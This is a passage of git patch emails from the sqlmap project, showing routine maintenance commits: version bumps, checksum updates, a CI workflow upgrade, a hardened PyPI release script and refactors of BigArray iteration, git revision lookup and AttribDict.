Minor update --- data/txt/sha256sums.txt | 6 +++--- lib/core/dicts.py | 2 +- lib/core/settings.py | 2 +- sqlmap.py | 2 +- 4 files changed, 6 insertions(+), 6 deletions(-) diff --git a/data/txt/sha256sums.txt b/data/txt/sha256sums.txt index e1dc0147210..55f32a9857b 100644 --- a/data/txt/sha256sums.txt +++ b/data/txt/sha256sums.txt @@ -175,7 +175,7 @@ c03dc585f89642cfd81b087ac2723e3e1bb3bfa8c60e6f5fe58ef3b0113ebfe6 lib/core/data. e396b7971d38896e0e20b973a3a6a3fbc3171d080a21bc6e66a65bee452fd69c lib/core/datatype.py e18c0c2c5a57924a623792a48bfd36e98d9bc085f6db61a95fc0dc8a3bcedc0c lib/core/decorators.py 147823c37596bd6a56d677697781f34b8d1d1671d5a2518fbc9468d623c6d07d lib/core/defaults.py -76756ce056dd2e5363e5e1d2b2b4c3f3b36ff8c8ac215e83ee3b8d535ea6b741 lib/core/dicts.py +6b366f897e66b9df39df2ee45fef77d46efb7a2d4e294440d3aa7dc1b2f4cedf lib/core/dicts.py a033f92d136c707a25927c2383125ddb004d4283db62c004dcd67c3fc242bb1c lib/core/dump.py 1abf1edeacb85eaf5cffd35fcbde4eee2da6f5fc722a8dc1f9287fb55d138418 lib/core/enums.py 5387168e5dfedd94ae22af7bb255f27d6baaca50b24179c6b98f4f325f5cc7b4 lib/core/exception.py @@ -189,7 +189,7 @@ a033f92d136c707a25927c2383125ddb004d4283db62c004dcd67c3fc242bb1c lib/core/dump. 48797d6c34dd9bb8a53f7f3794c85f4288d82a9a1d6be7fcf317d388cb20d4b3 lib/core/replication.py 3574639db4942d16a2dc0a2f04bb7c0913c40c3862b54d34c44075a760e0c194 lib/core/revision.py 888daba83fd4a34e9503fe21f01fef4cc730e5cde871b1d40e15d4cbc847d56c lib/core/session.py -dada375f986e0e11e9902530f30ffd8bc0c4b90ae246b12edb24e46dc84b4da9 lib/core/settings.py +fbb7a142c1870735e6b2c482ead1b45a0deeec56aad793ca36d7dba9dfec4497 lib/core/settings.py cd5a66deee8963ba8e7e9af3dd36eb5e8127d4d68698811c29e789655f507f82 lib/core/shell.py bcb5d8090d5e3e0ef2a586ba09ba80eef0c6d51feb0f611ed25299fbb254f725 lib/core/subprocessng.py d35650179816193164a5f177102f18379dfbe6bb6d40fbb67b78d907b41c8038 lib/core/target.py @@ -487,7 +487,7 @@ eb45fd711efa71ab9d91d815cc8abebc9abc4770311fbb827159008b000f4fc2 plugins/generi c6ad39bfd1810413402dedfc275fc805fa13f85fc490e236c1e725bde4e5100b sqlmapapi.py 4e993cfe2889bf0f86ad0abafd9a6a25849580284ea279b2115e99707e14bb97 sqlmapapi.yaml a40607ce164eb2d21865288d24b863edb1c734b56db857e130ac1aef961c80b9 sqlmap.conf -01457a41833b89b8bcdcae7b241a184bfcfdd8088575506154dd6ea1f4d71186 sqlmap.py +4cec2aae8d65d67cd6db60f00217aa05ab449345ed3a38e04697b85b53d755f1 sqlmap.py eb37a88357522fd7ad00d90cdc5da6b57442b4fec49366aadb2944c4fbf8b804 tamper/0eunion.py a9785a4c111d6fee2e6d26466ba5efb3b229c00520b26e8024b041553b53efba tamper/apostrophemask.py cf26bc8006519bd25ce06d347f72770cd75b61575cf65e5812274e8ab9392eb4 tamper/apostrophenullencode.py diff --git a/lib/core/dicts.py b/lib/core/dicts.py index 3cac6c6f828..a1baf0db3a2 100644 --- a/lib/core/dicts.py +++ b/lib/core/dicts.py @@ -229,7 +229,7 @@ DBMS.ORACLE: (ORACLE_ALIASES, "python-oracledb", "https://oracle.github.io/python-oracledb/", "oracle"), DBMS.SQLITE: (SQLITE_ALIASES, "python-sqlite", "https://docs.python.org/3/library/sqlite3.html", "sqlite"), DBMS.ACCESS: (ACCESS_ALIASES, "python-pyodbc", "https://github.com/mkleehammer/pyodbc", "access"), - DBMS.FIREBIRD: (FIREBIRD_ALIASES, "python-kinterbasdb", "http://kinterbasdb.sourceforge.net/", "firebird"), + DBMS.FIREBIRD: (FIREBIRD_ALIASES, "python-kinterbasdb", "https://kinterbasdb.sourceforge.net/", "firebird"), DBMS.MAXDB: (MAXDB_ALIASES, None, None, "maxdb"), DBMS.SYBASE: (SYBASE_ALIASES, "python-pymssql", "https://github.com/pymssql/pymssql", "sybase"), DBMS.DB2: (DB2_ALIASES, "python ibm-db", "https://github.com/ibmdb/python-ibmdb", "ibm_db_sa"), diff --git a/lib/core/settings.py b/lib/core/settings.py index 6b87f2dc2eb..69cdbccd473 100644 --- a/lib/core/settings.py +++ b/lib/core/settings.py @@ -19,7 +19,7 @@ from thirdparty import six # sqlmap version (...) -VERSION = "1.10.1.53" +VERSION = "1.10.1.54" TYPE = "dev" if VERSION.count('.') > 2 and VERSION.split('.')[-1] != '0' else "stable" TYPE_COLORS = {"dev": 33, "stable": 90, "pip": 34} VERSION_STRING = "sqlmap/%s#%s" % ('.'.join(VERSION.split('.')[:-1]) if VERSION.count('.') > 2 and VERSION.split('.')[-1] == '0' else VERSION, TYPE) diff --git a/sqlmap.py b/sqlmap.py index eb08e218d2a..5e93ef2c83d 100755 --- a/sqlmap.py +++ b/sqlmap.py @@ -203,7 +203,7 @@ def main(): target = targets[i] if not re.search(r"(?i)\Ahttp[s]*://", target): - target = "http://%s" % target + target = "https://%s" % target infoMsg = "starting crawler for target URL '%s' (%d/%d)" % (target, i + 1, len(targets)) logger.info(infoMsg) From 876f14199ecb33ee16ed09b40f9ebe5225a1cd74 Mon Sep 17 00:00:00 2001 From: Miroslav Stampar Date: Fri, 23 Jan 2026 10:49:12 +0100 Subject: [PATCH 057/135] Update of tests' workflow --- .github/workflows/tests.yml | 11 +++++++---- data/txt/sha256sums.txt | 2 +- lib/core/settings.py | 2 +- 3 files changed, 9 insertions(+), 6 deletions(-) diff --git a/.github/workflows/tests.yml b/.github/workflows/tests.yml index 0ecd5cd3fbc..25100961dcd 100644 --- a/.github/workflows/tests.yml +++ b/.github/workflows/tests.yml @@ -10,14 +10,17 @@ jobs: strategy: matrix: os: [ubuntu-latest, macos-latest, windows-latest] - python-version: [ 'pypy-2.7', '3.13' ] + python-version: [ 'pypy-2.7', '3.8', '3.14' ] exclude: - os: macos-latest python-version: 'pypy-2.7' steps: - - uses: actions/checkout@v2 - - name: Set up Python - uses: actions/setup-python@v2 + - name: Checkout code + uses: actions/checkout@v4 + with: + fetch-depth: 1 + - name: Set up Python ${{ matrix.python-version }} + uses: actions/setup-python@v5 with: python-version: ${{ matrix.python-version }} - name: Basic import test diff --git a/data/txt/sha256sums.txt b/data/txt/sha256sums.txt index 55f32a9857b..3e68e216001 100644 --- a/data/txt/sha256sums.txt +++ b/data/txt/sha256sums.txt @@ -189,7 +189,7 @@ a033f92d136c707a25927c2383125ddb004d4283db62c004dcd67c3fc242bb1c lib/core/dump. 48797d6c34dd9bb8a53f7f3794c85f4288d82a9a1d6be7fcf317d388cb20d4b3 lib/core/replication.py 3574639db4942d16a2dc0a2f04bb7c0913c40c3862b54d34c44075a760e0c194 lib/core/revision.py 888daba83fd4a34e9503fe21f01fef4cc730e5cde871b1d40e15d4cbc847d56c lib/core/session.py -fbb7a142c1870735e6b2c482ead1b45a0deeec56aad793ca36d7dba9dfec4497 lib/core/settings.py +c19a9f3ab766c577222e535923b643b41ea1f5b3da61c07846fdd996701d1c7c lib/core/settings.py cd5a66deee8963ba8e7e9af3dd36eb5e8127d4d68698811c29e789655f507f82 lib/core/shell.py bcb5d8090d5e3e0ef2a586ba09ba80eef0c6d51feb0f611ed25299fbb254f725 lib/core/subprocessng.py d35650179816193164a5f177102f18379dfbe6bb6d40fbb67b78d907b41c8038 lib/core/target.py diff --git a/lib/core/settings.py b/lib/core/settings.py index 69cdbccd473..52f8494000a 100644 --- a/lib/core/settings.py +++ b/lib/core/settings.py @@ -19,7 +19,7 @@ from thirdparty import six # sqlmap version (...) -VERSION = "1.10.1.54" +VERSION = "1.10.1.55" TYPE = "dev" if VERSION.count('.') > 2 and VERSION.split('.')[-1] != '0' else "stable" TYPE_COLORS = {"dev": 33, "stable": 90, "pip": 34} VERSION_STRING = "sqlmap/%s#%s" % ('.'.join(VERSION.split('.')[:-1]) if VERSION.count('.') > 2 and VERSION.split('.')[-1] == '0' else VERSION, TYPE) From e6e1bdc5b7098c9ce4a19a9def10051113536c14 Mon Sep 17 00:00:00 2001 From: Miroslav Stampar Date: Tue, 27 Jan 2026 00:27:21 +0100 Subject: [PATCH 058/135] Minor improvement --- data/txt/sha256sums.txt | 4 ++-- extra/shutils/pypi.sh | 21 +++++++++++++++------ lib/core/settings.py | 2 +- 3 files changed, 18 insertions(+), 9 deletions(-) diff --git a/data/txt/sha256sums.txt b/data/txt/sha256sums.txt index 3e68e216001..165433bbfe5 100644 --- a/data/txt/sha256sums.txt +++ b/data/txt/sha256sums.txt @@ -156,7 +156,7 @@ ca86d61d3349ed2d94a6b164d4648cff9701199b5e32378c3f40fca0f517b128 extra/shutils/ 3893c13c6264dd71842a3d2b3509dd8335484f825b43ed2f14f8161905d1b214 extra/shutils/pycodestyle.sh 0525e3f6004eb340b8a1361072a281f920206626f0c8f6d25e67c8cef7aee78a extra/shutils/pydiatra.sh 763240f767c3d025cefb70dede0598c134ea9a520690944ae16a734e80fd98a0 extra/shutils/pyflakes.sh -71ace4be78edbd8a0d237a7cb342a9d14ebd6011845644c4b360de375d23f8d7 extra/shutils/pypi.sh +d12fd5916e97b2034ba7fbfa8da48f590dc10807119b97a9d27347500c610c2d extra/shutils/pypi.sh df768bcb9838dc6c46dab9b4a877056cb4742bd6cfaaf438c4a3712c5cc0d264 extra/shutils/recloak.sh 1972990a67caf2d0231eacf60e211acf545d9d0beeb3c145a49ba33d5d491b3f extra/shutils/strip.sh 1966ca704961fb987ab757f0a4afddbf841d1a880631b701487c75cef63d60c3 extra/vulnserver/__init__.py @@ -189,7 +189,7 @@ a033f92d136c707a25927c2383125ddb004d4283db62c004dcd67c3fc242bb1c lib/core/dump. 48797d6c34dd9bb8a53f7f3794c85f4288d82a9a1d6be7fcf317d388cb20d4b3 lib/core/replication.py 3574639db4942d16a2dc0a2f04bb7c0913c40c3862b54d34c44075a760e0c194 lib/core/revision.py 888daba83fd4a34e9503fe21f01fef4cc730e5cde871b1d40e15d4cbc847d56c lib/core/session.py -c19a9f3ab766c577222e535923b643b41ea1f5b3da61c07846fdd996701d1c7c lib/core/settings.py +eb77c4418725e937c506951794ff86a3bc77f31b39521d9d2d122d4af76e485f lib/core/settings.py cd5a66deee8963ba8e7e9af3dd36eb5e8127d4d68698811c29e789655f507f82 lib/core/shell.py bcb5d8090d5e3e0ef2a586ba09ba80eef0c6d51feb0f611ed25299fbb254f725 lib/core/subprocessng.py d35650179816193164a5f177102f18379dfbe6bb6d40fbb67b78d907b41c8038 lib/core/target.py diff --git a/extra/shutils/pypi.sh b/extra/shutils/pypi.sh index f90c63e4ed1..3cdbdf5d714 100755 --- a/extra/shutils/pypi.sh +++ b/extra/shutils/pypi.sh @@ -1,4 +1,6 @@ #!/bin/bash +set -euo pipefail +IFS=$'\n\t' if [ ! -f ~/.pypirc ]; then echo "File ~/.pypirc is missing" @@ -9,10 +11,11 @@ declare -x SCRIPTPATH="${0}" SETTINGS="${SCRIPTPATH%/*}/../../lib/core/settings.py" VERSION=$(cat $SETTINGS | grep -E "^VERSION =" | cut -d '"' -f 2 | cut -d '.' -f 1-3) TYPE=pip -TMP_DIR=/tmp/pypi -mkdir $TMP_DIR -cd $TMP_DIR -cat > $TMP_DIR/setup.py << EOF +TMP_DIR="$(mktemp -d -t pypi.XXXXXXXX)" +cleanup() { rm -rf -- "${TMP_DIR:?}"; } +trap cleanup EXIT +cd "$TMP_DIR" +cat > "$TMP_DIR/setup.py" << EOF #!/usr/bin/env python """ @@ -176,8 +179,14 @@ Links EOF sed -i "s/^VERSION =.*/VERSION = \"$VERSION\"/g" sqlmap/lib/core/settings.py sed -i "s/^TYPE =.*/TYPE = \"$TYPE\"/g" sqlmap/lib/core/settings.py -for file in $(find sqlmap -type f | grep -v -E "\.(git|yml)"); do echo include $file >> MANIFEST.in; done +: > MANIFEST.in +while IFS= read -r -d '' file; do + case "$file" in + *.git|*.yml) continue ;; + esac + echo "include $file" >> MANIFEST.in +done < <(find sqlmap -type f -print0) python setup.py sdist bdist_wheel twine check dist/* twine upload --config-file=~/.pypirc dist/* -rm -rf $TMP_DIR +rm -rf "$TMP_DIR" diff --git a/lib/core/settings.py b/lib/core/settings.py index 52f8494000a..b3d1831d208 100644 --- a/lib/core/settings.py +++ b/lib/core/settings.py @@ -19,7 +19,7 @@ from thirdparty import six # sqlmap version (...) -VERSION = "1.10.1.55" +VERSION = "1.10.1.56" TYPE = "dev" if VERSION.count('.') > 2 and VERSION.split('.')[-1] != '0' else "stable" TYPE_COLORS = {"dev": 33, "stable": 90, "pip": 34} VERSION_STRING = "sqlmap/%s#%s" % ('.'.join(VERSION.split('.')[:-1]) if VERSION.count('.') > 2 and VERSION.split('.')[-1] == '0' else VERSION, TYPE) From 657eb464f883e544f127c62bb69c86aade093017 Mon Sep 17 00:00:00 2001 From: Miroslav Stampar Date: Tue, 27 Jan 2026 00:33:22 +0100 Subject: [PATCH 059/135] Minor update --- data/txt/sha256sums.txt | 6 +++--- lib/core/settings.py | 2 +- lib/utils/tui.py | 2 -- plugins/dbms/snowflake/fingerprint.py | 1 - 4 files changed, 4 insertions(+), 7 deletions(-) diff --git a/data/txt/sha256sums.txt b/data/txt/sha256sums.txt index 165433bbfe5..e7e2aba3de4 100644 --- a/data/txt/sha256sums.txt +++ b/data/txt/sha256sums.txt @@ -189,7 +189,7 @@ a033f92d136c707a25927c2383125ddb004d4283db62c004dcd67c3fc242bb1c lib/core/dump. 48797d6c34dd9bb8a53f7f3794c85f4288d82a9a1d6be7fcf317d388cb20d4b3 lib/core/replication.py 3574639db4942d16a2dc0a2f04bb7c0913c40c3862b54d34c44075a760e0c194 lib/core/revision.py 888daba83fd4a34e9503fe21f01fef4cc730e5cde871b1d40e15d4cbc847d56c lib/core/session.py -eb77c4418725e937c506951794ff86a3bc77f31b39521d9d2d122d4af76e485f lib/core/settings.py +7e7d27e3e472e55c3938d7041bab589b29f425548f11f93c939b249da36bce98 lib/core/settings.py cd5a66deee8963ba8e7e9af3dd36eb5e8127d4d68698811c29e789655f507f82 lib/core/shell.py bcb5d8090d5e3e0ef2a586ba09ba80eef0c6d51feb0f611ed25299fbb254f725 lib/core/subprocessng.py d35650179816193164a5f177102f18379dfbe6bb6d40fbb67b78d907b41c8038 lib/core/target.py @@ -261,7 +261,7 @@ c853aa08ab24a00a78969408d60684da0ccb33a2a6693492e0acb7c480ffbcd1 lib/utils/safe 8258d0f54ad94e6101934971af4e55d5540f217c40ddcc594e2fba837b856d35 lib/utils/sgmllib.py b08373d647f337722983221d9051d8da253bf02e3f084aba8aee642ace8d02a6 lib/utils/sqlalchemy.py f0e5525a92fe971defc8f74c27942ff9138b1e8251f2e0d9a8bd59285b656084 lib/utils/timeout.py -baa49b4c33310fac876e6a855830c3e8e47c4838fffbe7e4e0b8c9e2c4af84a9 lib/utils/tui.py +f821dc39a75ea48dccfa758788de15d38b9ca6a780a98f59935fb6610f75508c lib/utils/tui.py e430db49aa768ff2cdba76932e30871c366054599c44d91580dde459ab9b6fef lib/utils/versioncheck.py b6cd3059c369bbcb162cfd797596849f9f95078c3b2e91fecee36d3ea1001fc2 lib/utils/xrange.py b1bbb62f5b272a6247d442d5e4f644a5bca7138e70776539ec84a5a90433fd13 LICENSE @@ -437,7 +437,7 @@ b76606fe4dee18467bc0d19af1e6ab38c0b5593c6c0f2068a8d4c664d4bd71d8 plugins/dbms/r 5744531487abfb0368e55187a66cb615277754a14c2e7facea2778378e67d5c9 plugins/dbms/snowflake/connector.py 99f7a319652f7a46f724cfced5555bbaade28e64c90f80b5f0b3cfbbb29a958a plugins/dbms/snowflake/enumeration.py 3b52302bc41ab185d190bbef58312a4d6f1ee63caa8757309cda58eb91628bc5 plugins/dbms/snowflake/filesystem.py -16c215879ce089b408c7ee3b1a57b44d18f571623e63318384ce0358f5d0441a plugins/dbms/snowflake/fingerprint.py +7e0f66272bd3725e1f4e9cc5458d6081603c41989da8065c474dd4bb127bcd8c plugins/dbms/snowflake/fingerprint.py 1de7c93b445deb0766c314066cb122535e9982408614b0ff952a97cbae9b813a plugins/dbms/snowflake/__init__.py 859cc5b9be496fe35f2782743f8e573ff9d823de7e99b0d32dbc250c361c653e plugins/dbms/snowflake/syntax.py da43fed8bfa4a94aaceb63e760c69e9927c1640e45e457b8f03189be6604693f plugins/dbms/snowflake/takeover.py diff --git a/lib/core/settings.py b/lib/core/settings.py index b3d1831d208..36c33893ac2 100644 --- a/lib/core/settings.py +++ b/lib/core/settings.py @@ -19,7 +19,7 @@ from thirdparty import six # sqlmap version (...) -VERSION = "1.10.1.56" +VERSION = "1.10.1.57" TYPE = "dev" if VERSION.count('.') > 2 and VERSION.split('.')[-1] != '0' else "stable" TYPE_COLORS = {"dev": 33, "stable": 90, "pip": 34} VERSION_STRING = "sqlmap/%s#%s" % ('.'.join(VERSION.split('.')[:-1]) if VERSION.count('.') > 2 and VERSION.split('.')[-1] == '0' else VERSION, TYPE) diff --git a/lib/utils/tui.py b/lib/utils/tui.py index 86a7df1fc03..d785e5f7673 100644 --- a/lib/utils/tui.py +++ b/lib/utils/tui.py @@ -23,7 +23,6 @@ from lib.core.exception import SqlmapMissingDependence from lib.core.exception import SqlmapSystemException from lib.core.settings import IS_WIN -from thirdparty.six.moves import queue as _queue from thirdparty.six.moves import configparser as _configparser class NcursesUI: @@ -37,7 +36,6 @@ def __init__(self, stdscr, parser): self.fields = {} self.running = False self.process = None - self.queue = None # Initialize colors curses.start_color() diff --git a/plugins/dbms/snowflake/fingerprint.py b/plugins/dbms/snowflake/fingerprint.py index bd0d70718c2..6767c2619a4 100644 --- a/plugins/dbms/snowflake/fingerprint.py +++ b/plugins/dbms/snowflake/fingerprint.py @@ -12,7 +12,6 @@ from lib.core.data import logger from lib.core.enums import DBMS from lib.core.session import setDbms -from lib.core.settings import METADB_SUFFIX from lib.core.settings import SNOWFLAKE_ALIASES from lib.request import inject from plugins.generic.fingerprint import Fingerprint as GenericFingerprint From f31ea1e2f58a7532d4ef794d48f5601becbc5949 Mon Sep 17 00:00:00 2001 From: Miroslav Stampar Date: Tue, 27 Jan 2026 11:03:40 +0100 Subject: [PATCH 060/135] Minor improvement of BigArray's iter --- data/txt/sha256sums.txt | 4 ++-- lib/core/bigarray.py | 28 +++++++++++++++++++++++----- lib/core/settings.py | 2 +- 3 files changed, 26 insertions(+), 8 deletions(-) diff --git a/data/txt/sha256sums.txt b/data/txt/sha256sums.txt index e7e2aba3de4..33c0f7b6c07 100644 --- a/data/txt/sha256sums.txt +++ b/data/txt/sha256sums.txt @@ -167,7 +167,7 @@ e376093d4f6e42ee38b050af329179df9c1c136b7667b2f1cb559f5d4b69ebd9 lib/controller 56e03690c1b783699c9f30cb2f8cc743d3716aba8137e6b253b21d1dd31a4314 lib/controller/handler.py 1966ca704961fb987ab757f0a4afddbf841d1a880631b701487c75cef63d60c3 lib/controller/__init__.py 2a96190ced25d8929861b13866101812fcadf5cac23dd1dd4b29b1a915918769 lib/core/agent.py -1da4ec9cd9b67c8b54e4a3d314f8237d58778d8f3a00bc26a1e0540294dca30f lib/core/bigarray.py +3f13b3856fb5c51a392bfe90e8380b44ec74e7df82d50940e28536a1a5e513a6 lib/core/bigarray.py af24159b8ca5b8fe5e13cdfdedc2a758a2f4883361a601e0a550127cff368b3a lib/core/common.py a6397b10de7ae7c56ed6b0fa3b3c58eb7a9dbede61bf93d786e73258175c981e lib/core/compat.py a9997e97ebe88e0bf7efcf21e878bc5f62c72348e5aba18f64d6861390a4dcf2 lib/core/convert.py @@ -189,7 +189,7 @@ a033f92d136c707a25927c2383125ddb004d4283db62c004dcd67c3fc242bb1c lib/core/dump. 48797d6c34dd9bb8a53f7f3794c85f4288d82a9a1d6be7fcf317d388cb20d4b3 lib/core/replication.py 3574639db4942d16a2dc0a2f04bb7c0913c40c3862b54d34c44075a760e0c194 lib/core/revision.py 888daba83fd4a34e9503fe21f01fef4cc730e5cde871b1d40e15d4cbc847d56c lib/core/session.py -7e7d27e3e472e55c3938d7041bab589b29f425548f11f93c939b249da36bce98 lib/core/settings.py +0072bbc61a2a9129b25736f97ccd2a326ca977ef707f8a9dd8db67b41f7553a0 lib/core/settings.py cd5a66deee8963ba8e7e9af3dd36eb5e8127d4d68698811c29e789655f507f82 lib/core/shell.py bcb5d8090d5e3e0ef2a586ba09ba80eef0c6d51feb0f611ed25299fbb254f725 lib/core/subprocessng.py d35650179816193164a5f177102f18379dfbe6bb6d40fbb67b78d907b41c8038 lib/core/target.py diff --git a/lib/core/bigarray.py b/lib/core/bigarray.py index 14c8ad3f02a..b9f78c07a57 100644 --- a/lib/core/bigarray.py +++ b/lib/core/bigarray.py @@ -305,11 +305,29 @@ def __repr__(self): return "%s%s" % ("..." if len(self.chunks) > 1 else "", self.chunks[-1].__repr__()) def __iter__(self): - for i in xrange(len(self)): - try: - yield self[i] - except IndexError: - break + with self._lock: + chunks = list(self.chunks) + cache_index = self.cache.index if isinstance(self.cache, Cache) else None + cache_data = self.cache.data if isinstance(self.cache, Cache) else None + + for idx, chunk in enumerate(chunks): + if isinstance(chunk, list): + for item in chunk: + yield item + else: + try: + if cache_index == idx and cache_data is not None: + data = cache_data + else: + with open(chunk, "rb") as f: + data = pickle.loads(zlib.decompress(f.read())) + except Exception as ex: + errMsg = "exception occurred while retrieving data " + errMsg += "from a temporary file ('%s')" % ex + raise SqlmapSystemException(errMsg) + + for item in data: + yield item def __len__(self): return len(self.chunks[-1]) if len(self.chunks) == 1 else (len(self.chunks) - 1) * self.chunk_length + len(self.chunks[-1]) diff --git a/lib/core/settings.py b/lib/core/settings.py index 36c33893ac2..4931d1bcb49 100644 --- a/lib/core/settings.py +++ b/lib/core/settings.py @@ -19,7 +19,7 @@ from thirdparty import six # sqlmap version (...) -VERSION = "1.10.1.57" +VERSION = "1.10.1.58" TYPE = "dev" if VERSION.count('.') > 2 and VERSION.split('.')[-1] != '0' else "stable" TYPE_COLORS = {"dev": 33, "stable": 90, "pip": 34} VERSION_STRING = "sqlmap/%s#%s" % ('.'.join(VERSION.split('.')[:-1]) if VERSION.count('.') > 2 and VERSION.split('.')[-1] == '0' else VERSION, TYPE) From 51b56820f7e80527143f49edff125b978796f2a5 Mon Sep 17 00:00:00 2001 From: Miroslav Stampar Date: Tue, 27 Jan 2026 11:11:01 +0100 Subject: [PATCH 061/135] Minor improvement of getRevisionNumber logic --- data/txt/sha256sums.txt | 4 ++-- lib/core/revision.py | 50 +++++++++++++++++++---------------------- lib/core/settings.py | 2 +- 3 files changed, 26 insertions(+), 30 deletions(-) diff --git a/data/txt/sha256sums.txt b/data/txt/sha256sums.txt index 33c0f7b6c07..585a7cd0beb 100644 --- a/data/txt/sha256sums.txt +++ b/data/txt/sha256sums.txt @@ -187,9 +187,9 @@ a033f92d136c707a25927c2383125ddb004d4283db62c004dcd67c3fc242bb1c lib/core/dump. 49c0fa7e3814dfda610d665ee02b12df299b28bc0b6773815b4395514ddf8dec lib/core/profiling.py 03db48f02c3d07a047ddb8fe33a757b6238867352d8ddda2a83e4fec09a98d04 lib/core/readlineng.py 48797d6c34dd9bb8a53f7f3794c85f4288d82a9a1d6be7fcf317d388cb20d4b3 lib/core/replication.py -3574639db4942d16a2dc0a2f04bb7c0913c40c3862b54d34c44075a760e0c194 lib/core/revision.py +0b8c38a01bb01f843d94a6c5f2075ee47520d0c4aa799cecea9c3e2c5a4a23a6 lib/core/revision.py 888daba83fd4a34e9503fe21f01fef4cc730e5cde871b1d40e15d4cbc847d56c lib/core/session.py -0072bbc61a2a9129b25736f97ccd2a326ca977ef707f8a9dd8db67b41f7553a0 lib/core/settings.py +7f08f592c49c3534afc931a7fb9e1915ffa7425e66ada1d58e56e3383758440f lib/core/settings.py cd5a66deee8963ba8e7e9af3dd36eb5e8127d4d68698811c29e789655f507f82 lib/core/shell.py bcb5d8090d5e3e0ef2a586ba09ba80eef0c6d51feb0f611ed25299fbb254f725 lib/core/subprocessng.py d35650179816193164a5f177102f18379dfbe6bb6d40fbb67b78d907b41c8038 lib/core/target.py diff --git a/lib/core/revision.py b/lib/core/revision.py index e7413937bba..e5e1a1e76f3 100644 --- a/lib/core/revision.py +++ b/lib/core/revision.py @@ -22,43 +22,39 @@ def getRevisionNumber(): retVal = None filePath = None - _ = os.path.dirname(__file__) + directory = os.path.dirname(__file__) while True: - filePath = os.path.join(_, ".git", "HEAD") - if os.path.exists(filePath): + candidate = os.path.join(directory, ".git", "HEAD") + if os.path.exists(candidate): + filePath = candidate break - else: - filePath = None - if _ == os.path.dirname(_): - break - else: - _ = os.path.dirname(_) - while True: - if filePath and os.path.isfile(filePath): - with openFile(filePath, "r") as f: - content = getText(f.read()) - filePath = None + parent = os.path.dirname(directory) + if parent == directory: + break + directory = parent - if content.startswith("ref: "): - try: - filePath = os.path.join(_, ".git", content.replace("ref: ", "")).strip() - except UnicodeError: - pass + if filePath: + with openFile(filePath, "r") as f: + content = getText(f.read()).strip() - if filePath is None: - match = re.match(r"(?i)[0-9a-f]{32}", content) - retVal = match.group(0) if match else None - break - else: - break + if content.startswith("ref: "): + ref_path = content.replace("ref: ", "").strip() + filePath = os.path.join(directory, ".git", ref_path) + + if os.path.exists(filePath): + with openFile(filePath, "r") as f_ref: + content = getText(f_ref.read()).strip() + + match = re.match(r"(?i)[0-9a-f]{40}", content) + retVal = match.group(0) if match else None if not retVal: try: - process = subprocess.Popen("git rev-parse --verify HEAD", shell=True, stdout=subprocess.PIPE, stderr=subprocess.PIPE) + process = subprocess.Popen(["git", "rev-parse", "--verify", "HEAD"], stdout=subprocess.PIPE, stderr=subprocess.PIPE) stdout, _ = process.communicate() - match = re.search(r"(?i)[0-9a-f]{32}", getText(stdout or "")) + match = re.search(r"(?i)[0-9a-f]{40}", getText(stdout or "")) retVal = match.group(0) if match else None except: pass diff --git a/lib/core/settings.py b/lib/core/settings.py index 4931d1bcb49..348c9350e7b 100644 --- a/lib/core/settings.py +++ b/lib/core/settings.py @@ -19,7 +19,7 @@ from thirdparty import six # sqlmap version (...) -VERSION = "1.10.1.58" +VERSION = "1.10.1.59" TYPE = "dev" if VERSION.count('.') > 2 and VERSION.split('.')[-1] != '0' else "stable" TYPE_COLORS = {"dev": 33, "stable": 90, "pip": 34} VERSION_STRING = "sqlmap/%s#%s" % ('.'.join(VERSION.split('.')[:-1]) if VERSION.count('.') > 2 and VERSION.split('.')[-1] == '0' else VERSION, TYPE) From 72fcb66fe8ad3bc848d792bcce44ac30a31c9575 Mon Sep 17 00:00:00 2001 From: Miroslav Stampar Date: Tue, 27 Jan 2026 11:27:55 +0100 Subject: [PATCH 062/135] Minor improvement of AttribDict logic --- data/txt/sha256sums.txt | 4 ++-- lib/core/datatype.py | 37 +++++++++++++------------------------ lib/core/settings.py | 2 +- 3 files changed, 16 insertions(+), 27 deletions(-) diff --git a/data/txt/sha256sums.txt b/data/txt/sha256sums.txt index 585a7cd0beb..31cdb6e8d99 100644 --- a/data/txt/sha256sums.txt +++ b/data/txt/sha256sums.txt @@ -172,7 +172,7 @@ af24159b8ca5b8fe5e13cdfdedc2a758a2f4883361a601e0a550127cff368b3a lib/core/commo a6397b10de7ae7c56ed6b0fa3b3c58eb7a9dbede61bf93d786e73258175c981e lib/core/compat.py a9997e97ebe88e0bf7efcf21e878bc5f62c72348e5aba18f64d6861390a4dcf2 lib/core/convert.py c03dc585f89642cfd81b087ac2723e3e1bb3bfa8c60e6f5fe58ef3b0113ebfe6 lib/core/data.py -e396b7971d38896e0e20b973a3a6a3fbc3171d080a21bc6e66a65bee452fd69c lib/core/datatype.py +ca06a0e9d66a58e74ef994d53f9b3cd2ebaed98735bbab99854054235a8083d6 lib/core/datatype.py e18c0c2c5a57924a623792a48bfd36e98d9bc085f6db61a95fc0dc8a3bcedc0c lib/core/decorators.py 147823c37596bd6a56d677697781f34b8d1d1671d5a2518fbc9468d623c6d07d lib/core/defaults.py 6b366f897e66b9df39df2ee45fef77d46efb7a2d4e294440d3aa7dc1b2f4cedf lib/core/dicts.py @@ -189,7 +189,7 @@ a033f92d136c707a25927c2383125ddb004d4283db62c004dcd67c3fc242bb1c lib/core/dump. 48797d6c34dd9bb8a53f7f3794c85f4288d82a9a1d6be7fcf317d388cb20d4b3 lib/core/replication.py 0b8c38a01bb01f843d94a6c5f2075ee47520d0c4aa799cecea9c3e2c5a4a23a6 lib/core/revision.py 888daba83fd4a34e9503fe21f01fef4cc730e5cde871b1d40e15d4cbc847d56c lib/core/session.py -7f08f592c49c3534afc931a7fb9e1915ffa7425e66ada1d58e56e3383758440f lib/core/settings.py +d6577e20ed58d058dcde4341010e3ea26240cc959185ce9471eda0fab17a21cf lib/core/settings.py cd5a66deee8963ba8e7e9af3dd36eb5e8127d4d68698811c29e789655f507f82 lib/core/shell.py bcb5d8090d5e3e0ef2a586ba09ba80eef0c6d51feb0f611ed25299fbb254f725 lib/core/subprocessng.py d35650179816193164a5f177102f18379dfbe6bb6d40fbb67b78d907b41c8038 lib/core/target.py diff --git a/lib/core/datatype.py b/lib/core/datatype.py index 2e31542c266..b0b1809f8a8 100644 --- a/lib/core/datatype.py +++ b/lib/core/datatype.py @@ -20,21 +20,18 @@ class AttribDict(dict): >>> foo.bar = 1 >>> foo.bar 1 + >>> import copy; copy.deepcopy(foo).bar + 1 """ def __init__(self, indict=None, attribute=None, keycheck=True): if indict is None: indict = {} - # Set any attributes here - before initialisation - # these remain as normal attributes - self.attribute = attribute - self.keycheck = keycheck 